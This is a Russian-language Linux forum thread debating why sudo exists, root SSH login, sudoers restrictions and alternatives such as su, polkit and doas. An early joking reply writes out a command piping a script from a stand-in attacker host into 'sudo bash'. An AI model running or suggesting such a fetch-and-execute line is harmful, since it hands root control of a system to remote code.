LINUX.ORG.RU
ФорумAdmin

Зачем нужен sudo?

 , ,


0

5

Во многих конфигуруциях/убунту, отключен рут доступ через ssh - заходишь под юзером и потом либо su без пароля, либо sudo с тем же паролем что и у юзера. В чем смысл защиты? Защита от дыр в самом ssh? Сам всегда включаю рут на серверах(дебиан). Все nginx etc под другими пользователями.

★★★★

Для того что бы делать

curl -o- http://haxxor.it/owned.sh | sudo bash
beastie ★★★★★
()

sudo нужен, чтобы выполнять отдельные команды от имени другого пользователя (обычно рута, но не обязательно). При этом sudo по сравнению с su даёт дополнительные возможности разграничения привилегий: можно указать, каким пользователям (группам) что делать разрешено; а можно наоборот, разрешить всем юзерам выполнять отдельные команды без пароля.

Также использование sudo усложняет непреднамеренное выполнение команд от имени не того пользователя. Рутовый шелл обычно имеет приглашение с ‘#’ на конце и легко отличим, но если надо работать под другим пользователем, ошибиться может быть легче.

Если я не ошибаюсь, то мода на отсутствие рутового пароля в системе по умолчанию и выполнение всех админских работ через sudo пошла из макоси, откуда это подхватили убунтята, а за ними и все остальные. Think different!

annulen ★★★★★
()

Это настройки самого ссх по умолчанию. Для рута вообще правильным является ставить рандомный пароль 40 символов и лочить возможность войти под ним. Сюдо нужен чтобы тебе любой скрипт из интернета не форматнул диск

rtxtxtrx
()
Ответ на: комментарий от rtxtxtrx

Сюдо нужен чтобы тебе любой скрипт из интернета не форматнул диск

Ключи, пароли и куки слиты, зато система не тронута. Приоритеты.

MagicMirror ★★
()
Ответ на: комментарий от rtxtxtrx

ставить рандомный пароль 40 символов и лочить возможность войти под ним

passwd -d же.

token_polyak ★★★★★
()
Ответ на: комментарий от MagicMirror

Ключи и куки шифруются, а пароли/ключи шифрования от них в kwallet либо gnome-keyring должны храниться, поэтому от кражи их скриптами ни тепло, ни холодно + можно ставить гуишные утилиты через flatpak, но у местной интеллектуальной илиты тот жопоболь вызывает, хотя они и убирают пароль у gnome-keyring, не зная как решить проблему с всплывающим окном с вводом старого пароля при запуске хромиума

rtxtxtrx
()
Ответ на: комментарий от MagicMirror

Печально тут все. Им и сюдо не нужен, они бы с рута сидели, если бы некоторые гуишные проги не отказывались от него запускаться

rtxtxtrx
()

На серверах обязательно всех удаляю из группы sudo.
Никакого sudo. root только через su -

hbars ★★★★★
()
Ответ на: комментарий от rtxtxtrx

Firefox кейрингами пользоваться не умеет, встроенный пароль делает непонятно что. А если зловред хоть каплю умнее тупого копирования файлов, то извлечение паролей из керингов а то и пароля от самого кейринга дело техники. Документы и всё остальное вообще ничем не прикрыты.

MagicMirror ★★
()
Ответ на: комментарий от rtxtxtrx

Да и хрен бы с ними, на однопользовательской системе то.

MagicMirror ★★
()

При нормальном использовании системы, ты должен все делать от пользователя. sudo используешь только для установки пакетов, от sudo лучше ничего не запускать. Веб приложения нужно пихать в докер. Если у тебя возникает потребность сидеть от рута, то ты явно какой-то хренью занимаешься, и совсем скоро начнут приходить письма от хостера с жалобами, что с твоего сервака порты сканируют либо брутофорсят серваки.

rtxtxtrx
()

Двухфакторная аутентификация. Для того, чтобы просто зайти — нужен ключ. Для того, чтобы получить рута — пароль. Плюс в ынтырпразйзе удобно отзывать права уволенного сотрудника.

Wapieth
()

sudo дает возможность пользователю выполнить ограниченную команду.
рестартить только определенный сервис к примеру. sudo systemctl restart aaa.service сработает, а sudo systemctl restart bbb.service нет и т.д.
без полноразмерного доступа к root-правам. разделяй и властвуй.

pfg ★★★★★
()
Последнее исправление: pfg (всего исправлений: 1)

На локалхосте или личной впске - не нужен, если юзер захочет выполнить rm -rf - он найдет любой удобный способ.

А в каких-то бизнесовых системах - sudo дается на конкретные команды конкретным группам/пользователям, никакого sudo bash или sudo -i быть не должно.

l0stparadise ★★★★★
()

sudo не нужен, и более того эта программа в целом вредная.

1) она создаёт у пользующихся ей ложное впечатление, будто можно как-то «запустить прогу от админа» (как в винде) но не перелогинивая её в рута - и тем самым насаждает виндузятные привычки и устраивает кашу в головах новичков

2) у неё есть конфиг, но сделан он так, что практически единственная рабочая его конфигурация - это «разрешать всё», которая дублирует функционал штатной утилиты su, только наркоманским способом

3) по поводу конфига: если попытаться настроить в нём что-то, кроме «разрешить всё», то с вероятностью близкой к 100% ты получишь дырявую систему, в которой юзер, которому ты разрешил sudo на некоторые команды, всё равно в итоге окажется имеющим все рут-доступы; отдельного упоминания заслуживает их идея фильтровать разрешённые команды регулярками - высшая степень идиотизма; настроить конфиг безопасно при большом желании можно, но это будет мазохизм и непонятно зачем - есть более удобные способы достичь того же

4) сами авторы sudo не особо вменяемы и время от времени допускают дыры в самой проге, а из их объяснений к ним складывается впечатление что у них у самих каша к голове, прям как у их целевой аудитории

Мне в линукс на старых десктоп-установках sudo прилетало как зависимость от гнома, гном я давно везде снёс, как и sudo. На серверах его и не было.

firkax ★★★★★
()
Последнее исправление: firkax (всего исправлений: 1)
Ответ на: комментарий от annulen

откуда это подхватили убунтята, а за ними и все остальные

Остальные это кто? В дебиане этого бреда нет.

firkax ★★★★★
()
Ответ на: комментарий от hbars

Есть способ проще и правильнее - apt-get purge sudo. Впрочем откуда у тебя на серверах sudo вообще взялся - отдельный вопрос.

firkax ★★★★★
()

Эмми… На манджаре вдруг оказалось, что некоторые пакеты ставятся из судо, но не ставятся от рута. Не знаю, как это трактовать.

anonymous
()
Ответ на: комментарий от firkax
  1. она создаёт у пользующихся ей ложное впечатление, будто можно как-то «запустить прогу от админа»

А что, уже нельзя? setuid и setgid отменили? Или su работает как-то иначе?

(как в винде) но не перелогинивая её в рута

Кто есть «она», которую надо перелогинить? Программа? Т упрт?

насаждает виндузятные привычки

Ах он, судо, абьюзер долбаный!

устраивает кашу в головах новичков

не судо, А чудаки на другую букву, перетаскивающие из винды и макоси подход «оно работает как-то само, наверное на волшебном дыме».
В чём проблема объяснить пользователю, что программа запустится в его окружении, но от имени другого пользователя? Зачем этот бред про привычки?

  1. у неё есть конфиг, но сделан он так, что практически единственная рабочая его конфигурация - это «разрешать всё»

Неосилятор. Так и запишем.

  1. по поводу конфига: если попытаться настроить в нём что-то, кроме «разрешить всё», то с вероятностью близкой к 100%

При настройке не подключает голову. Так и запишем.

  1. сами авторы sudo не особо вменяемы и время от времени допускают дыры в самой проге

Так вменяемых, получается, не существует. Или ты веришь, что кто-то решил «не допускать» и теперь не ошибается?

снёс sudo. На серверах его и не было.

Держите наркомана, у него на серверах все под рутом админят. Или ты единственный админ локалхоста? Тогда понятно, что тебе не надо разграничивать доступ разных пользователей.

PS Ок, судо низя. А полкит с пкэгзек — можно?

mogwai ★★★★★
()

Можно очень красиво всё защитить, если конфиг больше, чем одна запись для пользователя.

Алсо, можно заменить sudo на doas для отреза половины мамкиных хакеров и эникеев.

Bfgeshka ★★★★★
()

Смысла нет. В убунту сидят идиоты. Лучше бы sudo из системы удалили, пользы больше было бы.

vbr ★★★★
()

Я недавно просветлился насчет sudo, зачем оно нужно. Для удобства автоматизации.

К примеру в некой баш-портянке надо сделать systemctl restart foo

Но нужны повышенные привилегии, не от root же портянку исполнять.

Прописываешь там в настройках sudo , чтобы исполнялось без запроса пароля sudo systemctl restart foo и всё чики-пуки.

Psilocybe ★★★★
()
Последнее исправление: Psilocybe (всего исправлений: 1)
Ответ на: комментарий от vbr

Ну по прочитанному выше фанаты дебиана, которые серваки админят, тоже ещё те идиоты. Андроид - это идеальная операционная система для них. Всё потроха системы скрыты и рута никак не получить, поэтому и вирусов «нет». Я вообще сомневаюсь, что у него какие то там серваки, скорее всего с винды сидит и там всё важное хранит, поэтому как школотрон с калолинуксом под рутом сидит

anonymous
()
Ответ на: комментарий от firkax

Есть способ проще и правильнее - apt-get purge sudo. Впрочем откуда у тебя на серверах sudo вообще взялся - отдельный вопрос.

ubuntu server, на пример. Там есть sudo.

hbars ★★★★★
()
Ответ на: комментарий от vbr

он пароль для входа в ssh использует и чтоб по сети не хакнули перебором делает пороль покручееее :)

pfg ★★★★★
()
Ответ на: комментарий от Psilocybe

Конкретно для этого лучше использовать polkit. sudo привязан к формату командной строки, а polkit оперирует действиями.

Khnazile ★★★★★
()
Ответ на: комментарий от Khnazile

run0 только настроек типа таймаута до сих пор не имеет, а так он полностью заменяет sudo

rtxtxtrx
()
Ответ на: комментарий от vbr

Команда sudo впервые появилась в Unix в 1980 году. Она была разработана Бобом Кьейси (Bob Coggeshall) и Клиффом Спенсером (Cliff Spencer) в Университете штата Нью-Йорк в городе Буффало. Цель создания команды заключалась в том, чтобы дать пользователям возможность выполнять команды с правами суперпользователя (root) без необходимости напрямую заходить в систему под пользователем root, что улучшало безопасность и контроль доступа.

В интервью 2009 года Боб Кьейси рассказал, что основной мотивацией для создания sudo была необходимость контролировать доступ пользователей к системным привилегиям. В Unix-системах тех времён администраторы часто передавали доступ к пользователю root, что создавало риски и проблемы с безопасностью. Кьейси и Спенсер создали sudo, чтобы пользователи могли выполнять привилегированные действия, но при этом оставались под контролем через конфигурационные файлы.

Редачишь sudoers:

# и вместо
%sudo ALL=(ALL) ALL

# пишешь что-то типа такого, перечисляя команды, которые можно от рута запустить
# потом юзверя добавляешь в эту группу
%group_name ALL=(ALL) /usr/bin/command1, /usr/bin/command2
rtxtxtrx
()
Ответ на: комментарий от vbr

да там можно пароль и не ставить, а просто рута залочить и все, но с рандомом надежнее.

rtxtxtrx
()
Ответ на: комментарий от MagicMirror

В дебиане sudo может прилететь только зависимостью от какого-то гуи или если ты его вручную поставишь. А дефолтно его нет и тем более установщик не предлагает делать недоступного рута.

firkax ★★★★★
()
Ответ на: комментарий от mogwai

А что, уже нельзя?

Не вырывай фразу из контекста.

Кто есть «она», которую надо перелогинить? Программа? Т упрт?

Речь про то что у программы будет uid=0 = она запущена от юзера root.

В чём проблема объяснить пользователю, что программа запустится в его окружении, но от имени другого пользователя?

Так в том и дело - не надо запускать рут-проги в не-рут окружении. Это и есть тот отвратительный виндузятный подход. Перелогинься в рута, увидь там рут-шелл и из него уже запускай. Разумеется, проверяя, что у бинарников, которые ты запускаешь, владелец тоже рут.

Держите наркомана, у него на серверах все под рутом админят.

Сам ты наркоман. Рут это и есть акк для административных задач. Логинишься под своим, делаешь su -, админишь.

Тогда понятно, что тебе не надо разграничивать доступ разных пользователей.

Во многих случаях доступ у всех полный, то есть не разграничивается. Но учёт того, кто именно админил, полезен, и он никуда не девается если в рута логиниться по su -, а не сразу по ssh. Учёт, конечно, добровольный, потому что админу с полными правами (и не важно su это или sudo, кстати) никто технически не помешает его отключить/испортить, но это уже будет саботаж и дргая история. Если же надо права именно разграничивать, то sudo - совершенно негодный инструмент для этого, и выше я уже описал почему. Разграничение прав должно делать софтом, который проверяет права не методом текстового анализа команд, а имеет осмысленный список прав в виде сущностей.

PS Ок, судо низя. А полкит с пкэгзек — можно?

У полкита была хорошая идея (доступ не к командам а к конкретным действиям), но, поскольку его делали какие-то окологномеры, закономерно получилась помойка.

firkax ★★★★★
()
Ответ на: комментарий от Psilocybe

Но нужны повышенные привилегии, не от root же портянку исполнять.

Если эта баш-портянка административная, то как раз от root и надо. А если в ней часть действий надо делать от непривилегированного юзера, то оборачиваешь их в su на этого юзера.

firkax ★★★★★
()

отключен рут доступ через ssh
В чем смысл защиты?

В том, чтобы червячки не пароль для root подбирали по ssh, а для пользователя, которого ещё самого надо угадать.

AS ★★★★★
()

либо sudo с тем же паролем что и у юзера.

Если правильно помню - при установке отдельно запрашивает пароль на нового пользователя и на рута. И там же расписано что второй - это для суперпользователя, если задать тот же пароль что и в предыдущем шаге то будет вот так (про su без пароля честно не помню - в дебиане точно запрашивает, даже если такой же).

чем смысл защиты?

Дальше-то уже как сам настроишь. У меня по ключам везде.

frunobulax ★★★
()
Ответ на: комментарий от mogwai

Держите наркомана, у него на серверах все под рутом админят.

А у тебя сервера админятся сервисными аккаунтами, да? Вот прям веб-админ по ssh логинится как www-data, правда?

thesis ★★★★★
()
Ответ на: комментарий от firkax

Если эта баш-портянка административная

Баш-портянка мониторинговая, реагирующая на внешние сетевые события. Смысла от рута запускать - никакого. Пользователь - технический логин.

Psilocybe ★★★★
()
Ответ на: комментарий от rtxtxtrx

Я в курсе. Кому это надо те пускай ставят. В репозиториях много интересных программ. А по дефолту сувать это не нужно.

vbr ★★★★
()
Ответ на: комментарий от annulen

Вход root по ssh должен быть запрещен. Известно имя пользователя с большими привилегиями, остаётся подобрать пароль.

Некоторые меняют имя пользователя root в /etc/password - это не одобряю, как защиту усложнением.

sudo, dbus + polkit+JS не нужены и не использую нигде. Да sudo, как и dbus + polkit+JS позволяют выполнить определенную команду с привилегиями root обычному пользователю, это удобно, но команда получает все привилегии root, что избыточно и не безопасно. Кроме того в sudo, dbus + polkit+JS регулярно находят дыры.

Если надо права root для настройки системы по ssh использую su + пароль рута. Так для получения привилегий root надо знать два пароля и имя пользователя.

subit на файлах, включая su, не использую по той же причине - процесс получает все привилегии.

Мне нравится идея (реализация не очень, но пригодна) CAP в Linux:

Сделал систему с необходимыми и достаточными привилегиями всех процессов: pscap Выводит только необходимые и достаточные привилегии процессов. Причем без возможности получения дополнительных привилегий! Это намного проще чем писать правила MAC.

Конечно все атрибуты файлов в системе надо защищать как и сами файлы системой Integrity.

anonymous
()
Ответ на: комментарий от anonymous

Вход root по ssh должен быть запрещен.

С этим сложно не согласиться.

Известно имя пользователя с большими привилегиями, остаётся подобрать пароль.

А вот вместо борьбы с подбором следует запретить вход по паролям.

annulen ★★★★★
()
Ответ на: комментарий от annulen

Можно вместо двух паролей использовать вход по ключу для пользователя + su с паролем рута. Так если украдут ключ, то будет защита рутового аккаунта паролем.

anonymous
()
Ответ на: комментарий от annulen

А ещё лучше резать доступ сетевым экраном, вешать ssh только на административные интерфейсы..

anonymous
()

Сам всегда включаю рут на серверах(дебиан).

Молодец, продолжай в том же духе.

ya-betmen ★★★★★
()
Ответ на: комментарий от firkax

4.2. sudo молча установится, если пароль рута задавать не станешь. И так оно уже давно.

MagicMirror ★★
()
Ответ на: комментарий от firkax

Такой вот сторонний сервис, за которым надо следить.

Psilocybe ★★★★
()
Ответ на: комментарий от firkax

устраивает кашу в головах новичков … будто можно как-то «запустить прогу от админа» (как в винде)

Вот с этим полностью согласен, тоже первое время так думал.

MrCookie ★★
()
Ответ на: комментарий от hbars

И ты один рут, остальные простые смертные? Как не обезличено передать права другому админу? В игрушки вы там играете…

anonymous
()
Для того чтобы оставить комментарий войдите или зарегистрируйтесь.